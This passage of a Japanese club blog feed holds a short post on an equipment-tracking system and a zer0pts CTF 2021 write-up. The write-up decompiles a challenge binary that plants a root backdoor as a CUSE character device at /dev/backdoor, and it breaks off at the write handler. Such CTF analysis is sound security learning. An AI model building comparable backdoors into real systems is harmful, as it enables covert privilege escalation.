            <link>https://kogcoder.com/2022/02/18/equipment_manager</link>
            <guid>https://kogcoder.com/2022/02/18/equipment_manager</guid>
            <pubDate>Fri, 18 Feb 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[はじめに]]></description>
            <content:encoded><![CDATA[<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="はじめに">はじめに<a href="https://kogcoder.com/2022/02/18/equipment_manager#%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB" class="hash-link" aria-label="はじめに への直接リンク" title="はじめに への直接リンク" translate="no">​</a></h2>
<p>　KogCoderはコロナウイルスの影響で対面での活動が難しくなってしまったため、様々な問題に直面しました。その一つがKogCoderの備品管理についてです。今までは学校内のキャビネットやお世話になっていた研究室などに備品を置かせてもらうことができましたが、学校で対面の活動を行うことが厳しいため団体が所有している備品をメンバーの自宅に置き活動を行うようなスタイルになりました。
　コロナ前のように活動場所に備品が集まっているのであれば所有している備品が把握しやすかったですが、メンバーの自宅に分散してしまいました。すると団体がどの備品を誰にいつまで貸しているのかがわかりにくくなってしまいました。そこで、団体内部用の備品管理システムを開発しました。</p>
<!-- -->
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="動作">動作<a href="https://kogcoder.com/2022/02/18/equipment_manager#%E5%8B%95%E4%BD%9C" class="hash-link" aria-label="動作 への直接リンク" title="動作 への直接リンク" translate="no">​</a></h2>
<p>管理ページにて備品と購入日、所有者、所有期限、備考などのデータを入力しIDとQRコードを発行します。</p>
<p><img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/FLYVpfoaAAABMKJ-c91520ed103346fbc5e5d448ff9f46a0.jpg" width="3672" height="2545" class="img_ev3q"></p>
<p>発行したQRをもとにシールを発行し、備品に貼り付けます。</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="使用感想">使用感想<a href="https://kogcoder.com/2022/02/18/equipment_manager#%E4%BD%BF%E7%94%A8%E6%84%9F%E6%83%B3" class="hash-link" aria-label="使用感想 への直接リンク" title="使用感想 への直接リンク" translate="no">​</a></h2>
<p>簡易的にExcelを使って備品を管理していた時に比べ、格段に備品の管理がしやすくなりました。メンバーも自分の家にある物のうちどれが備品なのか一目でわかるようになり、回収作業や管理が効率化されました。</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[zer0pts CTF 2021 infected Writeup]]></title>
            <link>https://kogcoder.com/2021/03/08/zer0pts-ctf-2021-infected-writeup</link>
            <guid>https://kogcoder.com/2021/03/08/zer0pts-ctf-2021-infected-writeup</guid>
            <pubDate>Mon, 08 Mar 2021 05:43:00 GMT</pubDate>
            <description><![CDATA[Overview]]></description>
            <content:encoded><![CDATA[<p><img decoding="async" loading="lazy" src="https://kogcoder.com/assets/images/res-4dcc2bcb32c717e2e411f5c1b165d951.png" width="1920" height="1040" class="img_ev3q"></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="overview">Overview<a href="https://kogcoder.com/2021/03/08/zer0pts-ctf-2021-infected-writeup#overview" class="hash-link" aria-label="Overview への直接リンク" title="Overview への直接リンク" translate="no">​</a></h2>
<p>チーム KogCoder として参加し、203pts獲得し176位でした
去年の大会からの難易度上昇の具合がヤバかったです</p>
<p>Welcomeとアンケートを除いて唯一解けた問題であるinfectedのWriteupを残しておきます</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="問題文">問題文<a href="https://kogcoder.com/2021/03/08/zer0pts-ctf-2021-infected-writeup#%E5%95%8F%E9%A1%8C%E6%96%87" class="hash-link" aria-label="問題文 への直接リンク" title="問題文 への直接リンク" translate="no">​</a></h2>
<blockquote>
<p>The backdoor is installed on this machine:</p>
<p>nc others.ctf.zer0pts.com 11011
or</p>
<p>nc any.ctf.zer0pts.com 11011
How can I use it to get the flag in /root directory?</p>
</blockquote>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="解法">解法<a href="https://kogcoder.com/2021/03/08/zer0pts-ctf-2021-infected-writeup#%E8%A7%A3%E6%B3%95" class="hash-link" aria-label="解法 への直接リンク" title="解法 への直接リンク" translate="no">​</a></h2>
<p><code>backdoor</code>という実行ファイルが渡されます
また、問題文で示されているサーバーに繋いでみるとシェルが立ち上がります
問題文曰く<code>/root</code>以下のflagを読めば良いらしいのですが、標準ではPID1000のユーザーとして繋がっていたのでなんとか特権昇格する必要があります
この環境にはバックドアがインストールされていると問題文で言っていたので、配布されたファイルを解析してバックドアの起爆方法を調べます</p>
<!-- -->
<p><code>backdoor</code>のmain関数は以下のようになっています</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> argc</span><span class="token punctuation" style="color:#393A34">,</span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">argv</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token function" style="color:#d73a49">register_backdoor</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">argc</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">argv</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">return</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>中身が虚無ですね
<code>register_backdoor</code>を読みましょう</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">register_backdoor</span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> argc</span><span class="token punctuation" style="color:#393A34">,</span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">argv</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">long</span><span class="token plain"> in_FS_OFFSET</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  undefined local_38 </span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">8</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  undefined4 local_30</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">dev_info_argv</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  undefined4 local_20</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">local_18</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">long</span><span class="token plain"> local_10</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  local_10 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">long</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">in_FS_OFFSET </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0x28</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  local_18 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">"DEVNAME=backdoor"</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token function" style="color:#d73a49">memset</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">local_38</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">0x20</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  local_30 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  dev_info_argv </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">local_18</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  local_20 </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token function" style="color:#d73a49">cuse_lowlevel_main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">argc</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">argv</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">local_38</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">devops</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">local_10 </span><span class="token operator" style="color:#393A34">!=</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">long</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">in_FS_OFFSET </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0x28</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    </span><span class="token comment" style="color:#999988;font-style:italic">/* WARNING: Subroutine does not return */</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">__stack_chk_fail</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token keyword" style="color:#00009f">return</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p><code>cuse_lowlevel_main</code>というのはfuseの内部で使われているキャラクタデバイスを作成するための関数みたいです
この関数の第3引数が<code>cuse_lowlevel_ops</code>という構造体なのですが、この中身は各操作を行う際に実際の処理を行う関数へのポインタになっています。</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token class-name">cuse_lowlevel_ops</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">init</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">userdata</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token class-name">fuse_conn_info</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">conn</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">init_done</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">userdata</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">destroy</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">userdata</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">open</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token class-name">fuse_req_t</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token class-name">fuse_file_info</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">fi</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">read</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token class-name">fuse_req_t</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token class-name">size_t</span><span class="token plain"> size</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token class-name">off_t</span><span class="token plain"> off</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		      </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token class-name">fuse_file_info</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">fi</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">write</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token class-name">fuse_req_t</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">const</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">buf</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token class-name">size_t</span><span class="token plain"> size</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token class-name">off_t</span><span class="token plain"> off</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		       </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token class-name">fuse_file_info</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">fi</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">flush</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token class-name">fuse_req_t</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token class-name">fuse_file_info</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">fi</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">release</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token class-name">fuse_req_t</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token class-name">fuse_file_info</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">fi</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">fsync</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token class-name">fuse_req_t</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> datasync</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token class-name">fuse_file_info</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">fi</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">ioctl</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token class-name">fuse_req_t</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> cmd</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">arg</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		       </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token class-name">fuse_file_info</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">fi</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">unsigned</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> flags</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		       </span><span class="token keyword" style="color:#00009f">const</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">in_buf</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token class-name">size_t</span><span class="token plain"> in_bufsz</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token class-name">size_t</span><span class="token plain"> out_bufsz</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token operator" style="color:#393A34">*</span><span class="token plain">poll</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token class-name">fuse_req_t</span><span class="token plain"> req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token class-name">fuse_file_info</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">fi</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">		      </span><span class="token keyword" style="color:#00009f">struct</span><span class="token plain"> </span><span class="token class-name">fuse_pollhandle</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">ph</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>そして、<code>backdoor</code>で使われていた<code>cuse_lowlevel_ops</code>がこちらです</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">                             //</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                             // .data.rel.ro </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                             // SHT_PROGBITS  [0x201d00 - 0x201d57]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                             // ram:00301d00-ram:00301d57</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                             //</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                             devops                                          XREF[2]:     register_backdoor:00100d1d(*), </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                                                                                          _elfSectionHeaders::00000550(*)  </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        00301d00 00 00 00        addr[11]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                 00 00 00 </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                 00 00 00 </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">           00301d00 00 00 00 00 00  addr      00000000                [0]                               XREF[2]:     register_backdoor:00100d1d(*), </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    00 00 00                                                                                         _elfSectionHeaders::00000550(*)  </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">           00301d08 00 00 00 00 00  addr      00000000                [1]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    00 00 00</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">           00301d10 00 00 00 00 00  addr      00000000                [2]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    00 00 00</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">           00301d18 9a 0a 10 00 00  addr      backdoor_open           [3]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    00 00 00</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">           00301d20 00 00 00 00 00  addr      00000000                [4]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    00 00 00</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">           00301d28 c0 0a 10 00 00  addr      backdoor_write          [5]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    00 00 00</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">           00301d30 00 00 00 00 00  addr      00000000                [6]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    00 00 00</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">           00301d38 00 00 00 00 00  addr      00000000                [7]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    00 00 00</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">           00301d40 00 00 00 00 00  addr      00000000                [8]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    00 00 00</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">           00301d48 00 00 00 00 00  addr      00000000                [9]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    00 00 00</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">           00301d50 00 00 00 00 00  addr      00000000                [10]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">                    00 00 00</span><br></div></code></pre></div></div>
<p><code>backdoor_open</code>と<code>backdoor_write</code>が登録されていますね
また、キャラクタデバイスは実際に手元で起動してみると<code>/dev/backdoor</code>に作成されていることが分かります</p>
<p>つまり、<code>/dev/backdoor</code>に何かを書き込むとバックドアが発火できそうです</p>
<p>では、何を書き込むべきなのかを探るために<code>backdoor_write</code>を読みます</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">backdoor_write</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">undefined8 req</span><span class="token punctuation" style="color:#393A34">,</span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">*</span><span class="token plain">buf</span><span class="token punctuation" style="color:#393A34">,</span><span class="token class-name">size_t</span><span class="token plain"> size</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain">undefined8 off</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token 